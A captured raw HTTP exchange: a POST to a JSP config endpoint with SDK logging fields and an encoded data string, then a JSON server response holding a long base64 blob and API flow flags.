POST /ncupload/config.jsp HTTP/1.1 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8 Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36 Connection: close Cookie: JSESSIONID=A891C7D63F7AA47F7BB3B7089E134B55.server Content-Type: application/json Cache-Control: no-cache Pragma: no-cache Host: Content-Length: 272 {"kvs":{"SaveLogResult":[0]},"tags":{"isSucc":true,"sdkVersion":"2.1.4","projectName":"Publish"},"extraData":"26426ac13be6e1b58c69fd371bac6de0fad0fe6b3a09096af4f5d283d62f6adf581152788ec510921bb0f8e271590c9b847a8b3bde605fb0556665cb8df1041000d9cec2789b0f2d5cc4dc3c69ca3811"}HTTP/1.1 200 OK Server: Apache-Coyote/1.1 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Content-Type: application/json;charset=UTF-8 Content-Length: 4154 Date: Mon, 25 Jul 2022 11:16:23 GMT Connection: close {"code":0,"data":{"suggestItems":[],"global":"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 5AIKxy1e57fHrACOQkZBwMYXKQXaFw==","exData":{"api_flow01":"0","api_flow02":"0","api_flow03":"1","api_flow04":"0","api_flow05":"0","api_flow06":"0","api_flow07":"0","api_tag":"2","local_cityid":"-1"}}}